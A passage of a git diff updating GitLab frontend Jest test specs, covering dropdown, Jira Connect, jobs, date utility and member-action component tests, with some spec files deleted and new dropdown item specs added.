@@ -90,12 +76,19 @@ describe('ProjectDropdown', () => {
});
it('renders dropdown items with correct props', () => {
- const dropdownItems = findAllDropdownItems();
- const avatars = dropdownItems.wrappers.map((item) => item.findComponent(GlAvatarLabeled));
+ const dropdownItems = findDropdown().props('items');
+ expect(dropdownItems).toHaveLength(mockProjects.length);
+ expect(dropdownItems).toMatchObject(mockProjects);
+ });
+
+ it('renders dropdown items with correct template', () => {
+ expect(findAllGlListboxItems()).toHaveLength(mockProjects.length);
+ const avatars = findAllGlListboxItems().wrappers.map((item) =>
+ item.findComponent(GlAvatarLabeled),
+ );
const avatarAttributes = avatars.map((avatar) => avatar.attributes());
const avatarProps = avatars.map((avatar) => avatar.props());
- expect(dropdownItems.wrappers).toHaveLength(mockProjects.length);
expect(avatarProps).toMatchObject(
mockProjects.map((project) => ({
label: project.name,
@@ -113,8 +106,7 @@ describe('ProjectDropdown', () => {
describe('when selecting a dropdown item', () => {
it('emits `change` event with the selected project', async () => {
const mockProject = mockProjects[0];
- const itemToSelect = findDropdownItemByProjectId(mockProject.id);
- await itemToSelect.vm.$emit('click');
+ await findDropdown().vm.$emit('select', mockProject.id);
expect(wrapper.emitted('change')[0]).toEqual([mockProject]);
});
@@ -124,17 +116,11 @@ describe('ProjectDropdown', () => {
const mockProject = mockProjects[0];
beforeEach(() => {
- wrapper.setProps({
- selectedProject: mockProject,
- });
- });
-
- it('sets `isChecked` prop of the corresponding dropdown item to `true`', () => {
- expect(findDropdownItemByProjectId(mockProject.id).props('isChecked')).toBe(true);
+ createComponent({ props: { selectedProject: mockProject } });
});
- it('sets dropdown text to `selectedBranchName` value', () => {
- expect(findDropdown().props('text')).toBe(mockProject.nameWithNamespace);
+ it('selects the specified item', () => {
+ expect(findDropdown().props('selected')).toBe(mockProject.id);
});
});
});
@@ -155,11 +141,10 @@ describe('ProjectDropdown', () => {
describe('when searching branches', () => {
it('triggers a refetch', async () => {
createComponent({ mountFn: mount });
- await waitForPromises();
jest.clearAllMocks();
const mockSearchTerm = 'gitl';
- await findSearchBox().vm.$emit('input', mockSearchTerm);
+ await findDropdown().vm.$emit('search', mockSearchTerm);
expect(mockGetProjectsQuerySuccess).toHaveBeenCalledWith({
after: '',
diff --git a/spec/frontend/jira_connect/subscriptions/api_spec.js b/spec/frontend/jira_connect/subscriptions/api_spec.js
index cf496d5836a..21636017f10 100644
--- a/spec/frontend/jira_connect/subscriptions/api_spec.js
+++ b/spec/frontend/jira_connect/subscriptions/api_spec.js
@@ -9,7 +9,7 @@ import {
updateInstallation,
} from '~/jira_connect/subscriptions/api';
import { getJwt } from '~/jira_connect/subscriptions/utils';
-import httpStatus from '~/lib/utils/http_status';
+import { HTTP_STATUS_OK } from '~/lib/utils/http_status';
jest.mock('~/jira_connect/subscriptions/utils', () => ({
getJwt: jest.fn().mockResolvedValue('jwt'),
@@ -49,7 +49,7 @@ describe('JiraConnect API', () => {
jwt: mockJwt,
namespace_path: mockNamespace,
})
- .replyOnce(httpStatus.OK, mockResponse);
+ .replyOnce(HTTP_STATUS_OK, mockResponse);
response = await makeRequest();
@@ -67,7 +67,7 @@ describe('JiraConnect API', () => {
it('returns success response', async () => {
jest.spyOn(axiosInstance, 'delete');
- axiosMock.onDelete(mockRemovePath).replyOnce(httpStatus.OK, mockResponse);
+ axiosMock.onDelete(mockRemovePath).replyOnce(HTTP_STATUS_OK, mockResponse);
response = await makeRequest();
@@ -99,7 +99,7 @@ describe('JiraConnect API', () => {
page: mockPage,
per_page: mockPerPage,
})
- .replyOnce(httpStatus.OK, mockResponse);
+ .replyOnce(HTTP_STATUS_OK, mockResponse);
response = await makeRequest();
@@ -121,7 +121,7 @@ describe('JiraConnect API', () => {
jest.spyOn(axiosInstance, 'get');
- axiosMock.onGet(expectedUrl).replyOnce(httpStatus.OK, mockResponse);
+ axiosMock.onGet(expectedUrl).replyOnce(HTTP_STATUS_OK, mockResponse);
response = await makeRequest();
@@ -139,7 +139,7 @@ describe('JiraConnect API', () => {
jest.spyOn(axiosInstance, 'post');
- axiosMock.onPost(expectedUrl).replyOnce(httpStatus.OK, mockResponse);
+ axiosMock.onPost(expectedUrl).replyOnce(HTTP_STATUS_OK, mockResponse);
response = await makeRequest();
@@ -175,7 +175,7 @@ describe('JiraConnect API', () => {
instance_url: expectedInstanceUrl,
},
})
- .replyOnce(httpStatus.OK, mockResponse);
+ .replyOnce(HTTP_STATUS_OK, mockResponse);
response = await makeRequest();
diff --git a/spec/frontend/jira_connect/subscriptions/components/compatibility_alert_spec.js b/spec/frontend/jira_connect/subscriptions/components/compatibility_alert_spec.js
deleted file mode 100644
index 5f38a0acb9d..00000000000
--- a/spec/frontend/jira_connect/subscriptions/components/compatibility_alert_spec.js
+++ /dev/null
@@ -1,56 +0,0 @@
-import { GlAlert, GlLink } from '@gitlab/ui';
-import { shallowMount, mount } from '@vue/test-utils';
-import CompatibilityAlert from '~/jira_connect/subscriptions/components/compatibility_alert.vue';
-
-import LocalStorageSync from '~/vue_shared/components/local_storage_sync.vue';
-
-describe('CompatibilityAlert', () => {
- let wrapper;
-
- const createComponent = ({ mountFn = shallowMount } = {}) => {
- wrapper = mountFn(CompatibilityAlert);
- };
-
- const findAlert = () => wrapper.findComponent(GlAlert);
- const findLink = () => wrapper.findComponent(GlLink);
- const findLocalStorageSync = () => wrapper.findComponent(LocalStorageSync);
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('displays an alert', () => {
- createComponent();
-
- expect(findAlert().exists()).toBe(true);
- });
-
- it('renders help link with target="_blank" and rel="noopener noreferrer"', () => {
- createComponent({ mountFn: mount });
- expect(findLink().attributes()).toMatchObject({
- target: '_blank',
- rel: 'noopener',
- });
- });
-
- it('`local-storage-sync` value prop is initially false', () => {
- createComponent();
-
- expect(findLocalStorageSync().props('value')).toBe(false);
- });
-
- describe('when dismissed', () => {
- beforeEach(async () => {
- createComponent();
- await findAlert().vm.$emit('dismiss');
- });
-
- it('hides alert', () => {
- expect(findAlert().exists()).toBe(false);
- });
-
- it('updates value prop of `local-storage-sync`', () => {
- expect(findLocalStorageSync().props('value')).toBe(true);
- });
- });
-});
diff --git a/spec/frontend/jira_connect/subscriptions/components/sign_in_oauth_button_spec.js b/spec/frontend/jira_connect/subscriptions/components/sign_in_oauth_button_spec.js
index 01317eb5dba..e20c4b62e77 100644
--- a/spec/frontend/jira_connect/subscriptions/components/sign_in_oauth_button_spec.js
+++ b/spec/frontend/jira_connect/subscriptions/components/sign_in_oauth_button_spec.js
@@ -4,6 +4,7 @@ import { nextTick } from 'vue';
import SignInOauthButton from '~/jira_connect/subscriptions/components/sign_in_oauth_button.vue';
import {
+ GITLAB_COM_BASE_PATH,
I18N_DEFAULT_SIGN_IN_BUTTON_TEXT,
OAUTH_WINDOW_OPTIONS,
} from '~/jira_connect/subscriptions/constants';
@@ -36,6 +37,9 @@ describe('SignInOauthButton', () => {
},
state: 'good-state',
};
+ const defaultProps = {
+ gitlabBasePath: GITLAB_COM_BASE_PATH,
+ };
const createComponent = ({ slots, props } = {}) => {
store = createStore();
@@ -48,7 +52,7 @@ describe('SignInOauthButton', () => {
provide: {
oauthMetadata: mockOauthMetadata,
},
- propsData: props,
+ propsData: { ...defaultProps, ...props },
});
};
@@ -57,16 +61,17 @@ describe('SignInOauthButton', () => {
});
const findButton = () => wrapper.findComponent(GlButton);
+ describe('when `gitlabBasePath` is GitLab.com', () => {
+ it('displays a button', () => {
+ createComponent();
- it('displays a button', () => {
- createComponent();
-
- expect(findButton().exists()).toBe(true);
- expect(findButton().text()).toBe(I18N_DEFAULT_SIGN_IN_BUTTON_TEXT);
- expect(findButton().props('category')).toBe('primary');
+ expect(findButton().exists()).toBe(true);
+ expect(findButton().text()).toBe(I18N_DEFAULT_SIGN_IN_BUTTON_TEXT);
+ expect(findButton().props('category')).toBe('primary');
+ });
});
- describe('when `gitlabBasePath` is passed', () => {
+ describe('when `gitlabBasePath` is self-managed', () => {
const mockBasePath = 'https://gitlab.mycompany.com';
it('uses custom text for button', () => {
diff --git a/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap b/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap
index 748e151f31b..40e627262db 100644
--- a/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap
+++ b/spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap
@@ -150,18 +150,12 @@ exports[`JiraImportForm table body shows correct information in each cell 1`] =
<input
aria-label="Search"
- class="gl-form-input gl-search-box-by-type-input form-control"
+ class="gl-form-input form-control gl-search-box-by-type-input"
placeholder="Search"
type="search"
/>
- <div
- class="gl-search-box-by-type-right-icons"
- >
- <!---->
-
- <!---->
- </div>
+ <!---->
</div>
<li
@@ -281,18 +275,12 @@ exports[`JiraImportForm table body shows correct information in each cell 1`] =
<input
aria-label="Search"
- class="gl-form-input gl-search-box-by-type-input form-control"
+ class="gl-form-input form-control gl-search-box-by-type-input"
placeholder="Search"
type="search"
/>
- <div
- class="gl-search-box-by-type-right-icons"
- >
- <!---->
-
- <!---->
- </div>
+ <!---->
</div>
<li
diff --git a/spec/frontend/jobs/components/job/manual_variables_form_spec.js b/spec/frontend/jobs/components/job/manual_variables_form_spec.js
index 45a1e9dca76..3040570df19 100644
--- a/spec/frontend/jobs/components/job/manual_variables_form_spec.js
+++ b/spec/frontend/jobs/components/job/manual_variables_form_spec.js
@@ -212,9 +212,30 @@ describe('Manual Variables Form', () => {
expect(findDeleteVarBtn().exists()).toBe(true);
});
+ });
+
+ describe('variable delete button placeholder', () => {
+ beforeEach(async () => {
+ getJobQueryResponse.mockResolvedValue(mockJobResponse);
+ await createComponentWithApollo();
+ });
it('delete variable button placeholder should only exist when a user cannot remove', async () => {
expect(findDeleteVarBtnPlaceholder().exists()).toBe(true);
});
+
+ it('does not show the placeholder button', () => {
+ expect(findDeleteVarBtnPlaceholder().classes('gl-opacity-0')).toBe(true);
+ });
+
+ it('placeholder button will not delete the row on click', async () => {
+ expect(findAllCiVariableKeys()).toHaveLength(1);
+ expect(findDeleteVarBtnPlaceholder().exists()).toBe(true);
+
+ await findDeleteVarBtnPlaceholder().trigger('click');
+
+ expect(findAllCiVariableKeys()).toHaveLength(1);
+ expect(findDeleteVarBtnPlaceholder().exists()).toBe(true);
+ });
});
});
diff --git a/spec/frontend/jobs/components/job/sidebar_spec.js b/spec/frontend/jobs/components/job/sidebar_spec.js
index 27911eb76eb..aa9ca932023 100644
--- a/spec/frontend/jobs/components/job/sidebar_spec.js
+++ b/spec/frontend/jobs/components/job/sidebar_spec.js
@@ -3,7 +3,7 @@ import { nextTick } from 'vue';
import MockAdapter from 'axios-mock-adapter';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import axios from '~/lib/utils/axios_utils';
-import httpStatus from '~/lib/utils/http_status';
+import { HTTP_STATUS_OK } from '~/lib/utils/http_status';
import ArtifactsBlock from '~/jobs/components/job/sidebar/artifacts_block.vue';
import JobRetryForwardDeploymentModal from '~/jobs/components/job/sidebar/job_retry_forward_deployment_modal.vue';
import JobsContainer from '~/jobs/components/job/sidebar/jobs_container.vue';
@@ -43,7 +43,7 @@ describe('Sidebar details block', () => {
beforeEach(() => {
mock = new MockAdapter(axios);
- mock.onGet().reply(httpStatus.OK, {
+ mock.onGet().reply(HTTP_STATUS_OK, {
name: job.stage,
});
});
diff --git a/spec/frontend/jobs/components/table/jobs_table_spec.js b/spec/frontend/jobs/components/table/jobs_table_spec.js
index 803df3df37f..3c4f2d624fe 100644
--- a/spec/frontend/jobs/components/table/jobs_table_spec.js
+++ b/spec/frontend/jobs/components/table/jobs_table_spec.js
@@ -2,14 +2,14 @@ import { GlTable } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import JobsTable from '~/jobs/components/table/jobs_table.vue';
-import CiBadge from '~/vue_shared/components/ci_badge_link.vue';
+import CiBadgeLink from '~/vue_shared/components/ci_badge_link.vue';
import { mockJobsNodes } from '../../mock_data';
describe('Jobs Table', () => {
let wrapper;
const findTable = () => wrapper.findComponent(GlTable);
- const findStatusBadge = () => wrapper.findComponent(CiBadge);
+ const findCiBadgeLink = () => wrapper.findComponent(CiBadgeLink);
const findTableRows = () => wrapper.findAllByTestId('jobs-table-row');
const findJobStage = () => wrapper.findByTestId('job-stage-name');
const findJobName = () => wrapper.findByTestId('job-name');
@@ -43,7 +43,7 @@ describe('Jobs Table', () => {
});
it('displays job status', () => {
- expect(findStatusBadge().exists()).toBe(true);
+ expect(findCiBadgeLink().exists()).toBe(true);
});
it('displays the job stage and name', () => {
diff --git a/spec/frontend/language_switcher/components/app_spec.js b/spec/frontend/language_switcher/components/app_spec.js
index 6a1b94cd813..effb71c2775 100644
--- a/spec/frontend/language_switcher/components/app_spec.js
+++ b/spec/frontend/language_switcher/components/app_spec.js
@@ -1,3 +1,4 @@
+import { GlLink } from '@gitlab/ui';
import { mountExtended } from 'helpers/vue_test_utils_helper';
import LanguageSwitcherApp from '~/language_switcher/components/app.vue';
import { PREFERRED_LANGUAGE_COOKIE_KEY } from '~/language_switcher/constants';
@@ -29,6 +30,7 @@ describe('<LanguageSwitcher />', () => {
const getPreferredLanguage = () => wrapper.find('.gl-dropdown-button-text').text();
const findLanguageDropdownItem = (code) => wrapper.findByTestId(`language_switcher_lang_${code}`);
+ const findFooter = () => wrapper.findByTestId('footer');
it('preferred language', () => {
expect(getPreferredLanguage()).toBe(EN.text);
@@ -59,4 +61,12 @@ describe('<LanguageSwitcher />', () => {
expect(utils.setCookie).toHaveBeenCalledWith(PREFERRED_LANGUAGE_COOKIE_KEY, ES.value);
window.location = originalLocation;
});
+
+ it('renders footer link', () => {
+ const link = findFooter().findComponent(GlLink);
+
+ // Assert against actual value so we can implicitly test `helpPagePath` call
+ expect(link.attributes('href')).toBe('/help/development/i18n/translation.md');
+ expect(link.text()).toBe(LanguageSwitcherApp.HELP_TRANSLATE_MSG);
+ });
});
diff --git a/spec/frontend/lib/utils/datetime/date_calculation_utility_spec.js b/spec/frontend/lib/utils/datetime/date_calculation_utility_spec.js
index 055d57d6ada..8d6ace165ab 100644
--- a/spec/frontend/lib/utils/datetime/date_calculation_utility_spec.js
+++ b/spec/frontend/lib/utils/datetime/date_calculation_utility_spec.js
@@ -3,7 +3,9 @@ import {
newDateAsLocaleTime,
nSecondsAfter,
nSecondsBefore,
+ isToday,
} from '~/lib/utils/datetime/date_calculation_utility';
+import { useFakeDate } from 'helpers/fake_date';
describe('newDateAsLocaleTime', () => {
it.each`
@@ -66,3 +68,19 @@ describe('nSecondsBefore', () => {
expect(nSecondsBefore(date, seconds)).toEqual(expected);
});
});
+
+describe('isToday', () => {
+ useFakeDate(2022, 11, 5);
+
+ describe('when date is today', () => {
+ it('returns `true`', () => {
+ expect(isToday(new Date(2022, 11, 5))).toBe(true);
+ });
+ });
+
+ describe('when date is not today', () => {
+ it('returns `false`', () => {
+ expect(isToday(new Date(2022, 11, 6))).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/lib/utils/datetime/date_format_utility_spec.js b/spec/frontend/lib/utils/datetime/date_format_utility_spec.js
index 2e0bb6a8dcd..a83b0ed9fbe 100644
--- a/spec/frontend/lib/utils/datetime/date_format_utility_spec.js
+++ b/spec/frontend/lib/utils/datetime/date_format_utility_spec.js
@@ -149,17 +149,17 @@ describe('durationTimeFormatted', () => {
describe('formatUtcOffset', () => {
it.each`
offset | expected
- ${-32400} | ${'- 9'}
- ${'-12600'} | ${'- 3.5'}
- ${0} | ${'0'}
- ${'10800'} | ${'+ 3'}
- ${19800} | ${'+ 5.5'}
- ${0} | ${'0'}
- ${[]} | ${'0'}
- ${{}} | ${'0'}
- ${true} | ${'0'}
- ${null} | ${'0'}
- ${undefined} | ${'0'}
+ ${-32400} | ${'-9'}
+ ${'-12600'} | ${'-3.5'}
+ ${0} | ${' 0'}
+ ${'10800'} | ${'+3'}
+ ${19800} | ${'+5.5'}
+ ${0} | ${' 0'}
+ ${[]} | ${' 0'}
+ ${{}} | ${' 0'}
+ ${true} | ${' 0'}
+ ${null} | ${' 0'}
+ ${undefined} | ${' 0'}
`('returns $expected given $offset', ({ offset, expected }) => {
expect(utils.formatUtcOffset(offset)).toEqual(expected);
});
diff --git a/spec/frontend/lib/utils/poll_until_complete_spec.js b/spec/frontend/lib/utils/poll_until_complete_spec.js
index 3ce17ecfc8c..309e0cc540b 100644
--- a/spec/frontend/lib/utils/poll_until_complete_spec.js
+++ b/spec/frontend/lib/utils/poll_until_complete_spec.js
@@ -1,7 +1,11 @@
import AxiosMockAdapter from 'axios-mock-adapter';
import { TEST_HOST } from 'helpers/test_constants';
import axios from '~/lib/utils/axios_utils';
-import httpStatusCodes, { HTTP_STATUS_NO_CONTENT } from '~/lib/utils/http_status';
+import {
+ HTTP_STATUS_NO_CONTENT,
+ HTTP_STATUS_NOT_FOUND,
+ HTTP_STATUS_OK,
+} from '~/lib/utils/http_status';
import pollUntilComplete from '~/lib/utils/poll_until_complete';
const endpoint = `${TEST_HOST}/foo`;
@@ -24,7 +28,7 @@ describe('pollUntilComplete', () => {
describe('given an immediate success response', () => {
beforeEach(() => {
- mock.onGet(endpoint).replyOnce(httpStatusCodes.OK, mockData);
+ mock.onGet(endpoint).replyOnce(HTTP_STATUS_OK, mockData);
});
it('resolves with the response', () =>
@@ -39,7 +43,7 @@ describe('pollUntilComplete', () => {
.onGet(endpoint)
.replyOnce(HTTP_STATUS_NO_CONTENT, undefined, pollIntervalHeader)
.onGet(endpoint)
- .replyOnce(httpStatusCodes.OK, mockData);
+ .replyOnce(HTTP_STATUS_OK, mockData);
});
it('calls the endpoint until it succeeds, and resolves with the response', () =>
@@ -66,7 +70,7 @@ describe('pollUntilComplete', () => {
const errorMessage = 'error message';
beforeEach(() => {
- mock.onGet(endpoint).replyOnce(httpStatusCodes.NOT_FOUND, errorMessage);
+ mock.onGet(endpoint).replyOnce(HTTP_STATUS_NOT_FOUND, errorMessage);
});
it('rejects with the error response', () =>
@@ -78,7 +82,7 @@ describe('pollUntilComplete', () => {
describe('given params', () => {
const params = { foo: 'bar' };
beforeEach(() => {
- mock.onGet(endpoint, { params }).replyOnce(httpStatusCodes.OK, mockData);
+ mock.onGet(endpoint, { params }).replyOnce(HTTP_STATUS_OK, mockData);
});
it('requests the expected URL', () =>
diff --git a/spec/frontend/locale/ensure_single_line_spec.js b/spec/frontend/locale/ensure_single_line_spec.js
index 20b04cab9c8..ca3d57015af 100644
--- a/spec/frontend/locale/ensure_single_line_spec.js
+++ b/spec/frontend/locale/ensure_single_line_spec.js
@@ -1,4 +1,4 @@
-import ensureSingleLine from '~/locale/ensure_single_line';
+import ensureSingleLine from '~/locale/ensure_single_line.cjs';
describe('locale', () => {
describe('ensureSingleLine', () => {
diff --git a/spec/frontend/members/components/action_buttons/access_request_action_buttons_spec.js b/spec/frontend/members/components/action_buttons/access_request_action_buttons_spec.js
index df5c884f42e..b94964dc482 100644
--- a/spec/frontend/members/components/action_buttons/access_request_action_buttons_spec.js
+++ b/spec/frontend/members/components/action_buttons/access_request_action_buttons_spec.js
@@ -38,7 +38,6 @@ describe('AccessRequestActionButtons', () => {
title: 'Deny access',
isAccessRequest: true,
isInvite: false,
- icon: 'close',
});
});
diff --git a/spec/frontend/members/components/action_buttons/invite_action_buttons_spec.js b/spec/frontend/members/components/action_buttons/invite_action_buttons_spec.js
index ea819b4fb83..68009708c99 100644
--- a/spec/frontend/members/components/action_buttons/invite_action_buttons_spec.js
+++ b/spec/frontend/members/components/action_buttons/invite_action_buttons_spec.js
@@ -39,12 +39,10 @@ describe('InviteActionButtons', () => {
it('sets props correctly', () => {
expect(findRemoveMemberButton().props()).toMatchObject({
memberId: member.id,
- memberType: null,
message: `Are you sure you want to revoke the invitation for ${member.invite.email} to join "${member.source.fullName}"`,
title: 'Revoke invite',
isAccessRequest: false,
isInvite: true,
- icon: 'remove',
});
});
});
diff --git a/spec/frontend/members/components/action_buttons/leave_button_spec.js b/spec/frontend/members/components/action_buttons/leave_button_spec.js
deleted file mode 100644
index ecfbf4460a6..00000000000
--- a/spec/frontend/members/components/action_buttons/leave_button_spec.js
+++ /dev/null
@@ -1,59 +0,0 @@
-import { GlButton } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
-import LeaveButton from '~/members/components/action_buttons/leave_button.vue';
-import LeaveModal from '~/members/components/modals/leave_modal.vue';
-import { LEAVE_MODAL_ID } from '~/members/constants';
-import { member } from '../../mock_data';
-
-describe('LeaveButton', () => {
- let wrapper;
-
- const createComponent = (propsData = {}) => {
- wrapper = shallowMount(LeaveButton, {
- propsData: {
- member,
- ...propsData,
- },
- directives: {
- GlTooltip: createMockDirective(),
- GlModal: createMockDirective(),
- },
- });
- };
-
- const findButton = () => wrapper.findComponent(GlButton);
-
- beforeEach(() => {
- createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('displays a tooltip', () => {
- const button = findButton();
-
- expect(getBinding(button.element, 'gl-tooltip')).not.toBeUndefined();
- expect(button.attributes('title')).toBe('Leave');
- });
-
- it('sets `aria-label` attribute', () => {
- expect(findButton().attributes('aria-label')).toBe('Leave');
- });
-
- it('renders leave modal', () => {
- const leaveModal = wrapper.findComponent(LeaveModal);
-
- expect(leaveModal.exists()).toBe(true);
- expect(leaveModal.props('member')).toEqual(member);
- });
-
- it('triggers leave modal', () => {
- const binding = getBinding(findButton().element, 'gl-modal');
-
- expect(binding).not.toBeUndefined();
- expect(binding.value).toBe(LEAVE_MODAL_ID);
- });
-});
diff --git a/spec/frontend/members/components/action_buttons/remove_member_button_spec.js b/spec/frontend/members/components/action_buttons/remove_member_button_spec.js
index 0e5b667eb9b..cca340169b7 100644
--- a/spec/frontend/members/components/action_buttons/remove_member_button_spec.js
+++ b/spec/frontend/members/components/action_buttons/remove_member_button_spec.js
@@ -39,7 +39,6 @@ describe('RemoveMemberButton', () => {
},
propsData: {
memberId: 1,
- memberType: 'GroupMember',
message: 'Are you sure you want to remove John Smith?',
title: 'Remove member',
isAccessRequest: true,
@@ -77,20 +76,9 @@ describe('RemoveMemberButton', () => {
it('calls Vuex action to show `remove member` modal when clicked', () => {
findButton().vm.$emit('click');
- expect(actions.showRemoveMemberModal).toHaveBeenCalledWith(expect.any(Object), modalData);
- });
-
- describe('button optional properties', () => {
- it('has default value for category and text', () => {
- createComponent();
- expect(findButton().props('category')).toBe('secondary');
- expect(findButton().text()).toBe('');
- });
-
- it('allow changing value of button category and text', () => {
- createComponent({ buttonCategory: 'primary', buttonText: 'Decline request' });
- expect(findButton().props('category')).toBe('primary');
- expect(findButton().text()).toBe('Decline request');
+ expect(actions.showRemoveMemberModal).toHaveBeenCalledWith(expect.any(Object), {
+ ...modalData,
+ memberModelType: undefined,
});
});
});
diff --git a/spec/frontend/members/components/action_buttons/user_action_buttons_spec.js b/spec/frontend/members/components/action_buttons/user_action_buttons_spec.js
deleted file mode 100644
index 6ac46619bc9..00000000000
--- a/spec/frontend/members/components/action_buttons/user_action_buttons_spec.js
+++ /dev/null
@@ -1,161 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import LeaveButton from '~/members/components/action_buttons/leave_button.vue';
-import RemoveMemberButton from '~/members/components/action_buttons/remove_member_button.vue';
-import UserActionButtons from '~/members/components/action_buttons/user_action_buttons.vue';
-import { parseUserDeletionObstacles } from '~/vue_shared/components/user_deletion_obstacles/utils';
-import { member, orphanedMember } from '../../mock_data';
-
-describe('UserActionButtons', () => {
- let wrapper;
-
- const createComponent = (propsData = {}) => {
- wrapper = shallowMount(UserActionButtons, {
- propsData: {
- member,
- isCurrentUser: false,
- isInvitedUser: false,
- ...propsData,
- },
- });
- };
-
- const findRemoveMemberButton = () => wrapper.findComponent(RemoveMemberButton);
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('when user has `canRemove` permissions', () => {
- beforeEach(() => {
- createComponent({
- permissions: {
- canRemove: true,
- },
- });
- });
-
- it('renders remove member button', () => {
- expect(findRemoveMemberButton().exists()).toBe(true);
- });
-
- it('sets props correctly', () => {
- expect(findRemoveMemberButton().props()).toEqual({
- memberId: member.id,
- memberType: 'GroupMember',
- message: `Are you sure you want to remove ${member.user.name} from "${member.source.fullName}"?`,
- title: null,
- isAccessRequest: false,
- isInvite: false,
- icon: '',
- buttonCategory: 'secondary',
- buttonText: 'Remove member',
- userDeletionObstacles: {
- name: member.user.name,
- obstacles: parseUserDeletionObstacles(member.user),
- },
- });
- });
-
- describe('when member is orphaned', () => {
- it('sets `message` prop correctly', () => {
- createComponent({
- member: orphanedMember,
- permissions: {
- canRemove: true,
- },
- });
-
- expect(findRemoveMemberButton().props('message')).toBe(
- `Are you sure you want to remove this orphaned member from "${orphanedMember.source.fullName}"?`,
- );
- });
- });
-
- describe('when member is the current user', () => {
- it('renders leave button', () => {
- createComponent({
- isCurrentUser: true,
- permissions: {
- canRemove: true,
- },
- });
-
- expect(wrapper.findComponent(LeaveButton).exists()).toBe(true);
- });
- });
- });
-
- describe('when user does not have `canRemove` permissions', () => {
- it('does not render remove member button', () => {
- createComponent({
- permissions: {
- canRemove: false,
- },
- });
-
- expect(findRemoveMemberButton().exists()).toBe(false);
- });
- });
-
- describe('when group member', () => {
- beforeEach(() => {
- createComponent({
- member: {
- ...member,
- type: 'GroupMember',
- },
- permissions: {
- canRemove: true,
- },
- });
- });
-
- it('sets member type correctly', () => {
- expect(findRemoveMemberButton().props().memberType).toBe('GroupMember');
- });
- });
-
- describe('when project member', () => {
- beforeEach(() => {
- createComponent({
- member: {
- ...member,
- type: 'ProjectMember',
- },
- permissions: {
- canRemove: true,
- },
- });
- });
-
- it('sets member type correctly', () => {
- expect(findRemoveMemberButton().props().memberType).toBe('ProjectMember');
- });
- });
-
- describe('isInvitedUser', () => {
- it.each`
- isInvitedUser | icon | buttonText | buttonCategory
- ${true} | ${'remove'} | ${null} | ${'primary'}
- ${false} | ${''} | ${'Remove member'} | ${'secondary'}
- `(
- 'passes the correct props to remove-member-button when isInvitedUser is $isInvitedUser',
- ({ isInvitedUser, icon, buttonText, buttonCategory }) => {
- createComponent({
- isInvitedUser,
- permissions: {
- canRemove: true,
- },
- });
-
- expect(findRemoveMemberButton().props()).toEqual(
- expect.objectContaining({
- icon,
- buttonText,
- buttonCategory,
- }),
- );
- },
- );
- });
-});
diff --git a/spec/frontend/members/components/action_dropdowns/leave_group_dropdown_item_spec.js b/spec/frontend/members/components/action_dropdowns/leave_group_dropdown_item_spec.js
new file mode 100644
index 00000000000..90f5b217007
--- /dev/null
+++ b/spec/frontend/members/components/action_dropdowns/leave_group_dropdown_item_spec.js
@@ -0,0 +1,54 @@
+import { GlDropdownItem } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+import LeaveGroupDropdownItem from '~/members/components/action_dropdowns/leave_group_dropdown_item.vue';
+import LeaveModal from '~/members/components/modals/leave_modal.vue';
+import { LEAVE_MODAL_ID } from '~/members/constants';
+import { member, permissions } from '../../mock_data';
+
+describe('LeaveGroupDropdownItem', () => {
+ let wrapper;
+ const text = 'dummy';
+
+ const createComponent = (propsData = {}) => {
+ wrapper = shallowMount(LeaveGroupDropdownItem, {
+ propsData: {
+ member,
+ permissions,
+ ...propsData,
+ },
+ directives: {
+ GlModal: createMockDirective(),
+ },
+ slots: {
+ default: text,
+ },
+ });
+ };
+
+ const findDropdownItem = () => wrapper.findComponent(GlDropdownItem);
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders a slot with red text', () => {
+ expect(findDropdownItem().html()).toContain(`<span class="gl-text-red-500">${text}</span>`);
+ });
+
+ it('contains LeaveModal component', () => {
+ const leaveModal = wrapper.findComponent(LeaveModal);
+
+ expect(leaveModal.props()).toEqual({ member, permissions });
+ });
+
+ it('binds to the LeaveModal component', () => {
+ const binding = getBinding(findDropdownItem().element, 'gl-modal');
+
+ expect(binding.value).toBe(LEAVE_MODAL_ID);
+ });
+});
diff --git a/spec/frontend/members/components/action_dropdowns/remove_member_dropdown_item_spec.js b/spec/frontend/members/components/action_dropdowns/remove_member_dropdown_item_spec.js
new file mode 100644
index 00000000000..e1c498249d7
--- /dev/null
+++ b/spec/frontend/members/components/action_dropdowns/remove_member_dropdown_item_spec.js
@@ -0,0 +1,77 @@
+import { GlDropdownItem } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
+import Vuex from 'vuex';
+import { modalData } from 'jest/members/mock_data';
+import RemoveMemberDropdownItem from '~/members/components/action_dropdowns/remove_member_dropdown_item.vue';
+import { MEMBER_TYPES, MEMBER_MODEL_TYPE_GROUP_MEMBER } from '~/members/constants';
+
+Vue.use(Vuex);
+
+describe('RemoveMemberDropdownItem', () => {
+ let wrapper;
+ const text = 'dummy';
+
+ const actions = {
+ showRemoveMemberModal: jest.fn(),
+ };
+
+ const createStore = (state = {}) => {
+ return new Vuex.Store({
+ modules: {
+ [MEMBER_TYPES.user]: {
+ namespaced: true,
+ state: {
+ memberPath: '/groups/foo-bar/-/group_members/:id',
+ ...state,
+ },
+ actions,
+ },
+ },
+ });
+ };
+
+ const createComponent = (propsData = {}, state) => {
+ wrapper = shallowMount(RemoveMemberDropdownItem, {
+ store: createStore(state),
+ provide: {
+ namespace: MEMBER_TYPES.user,
+ },
+ propsData: {
+ memberId: 1,
+ memberModelType: MEMBER_MODEL_TYPE_GROUP_MEMBER,
+ modalMessage: 'Are you sure you want to remove John Smith?',
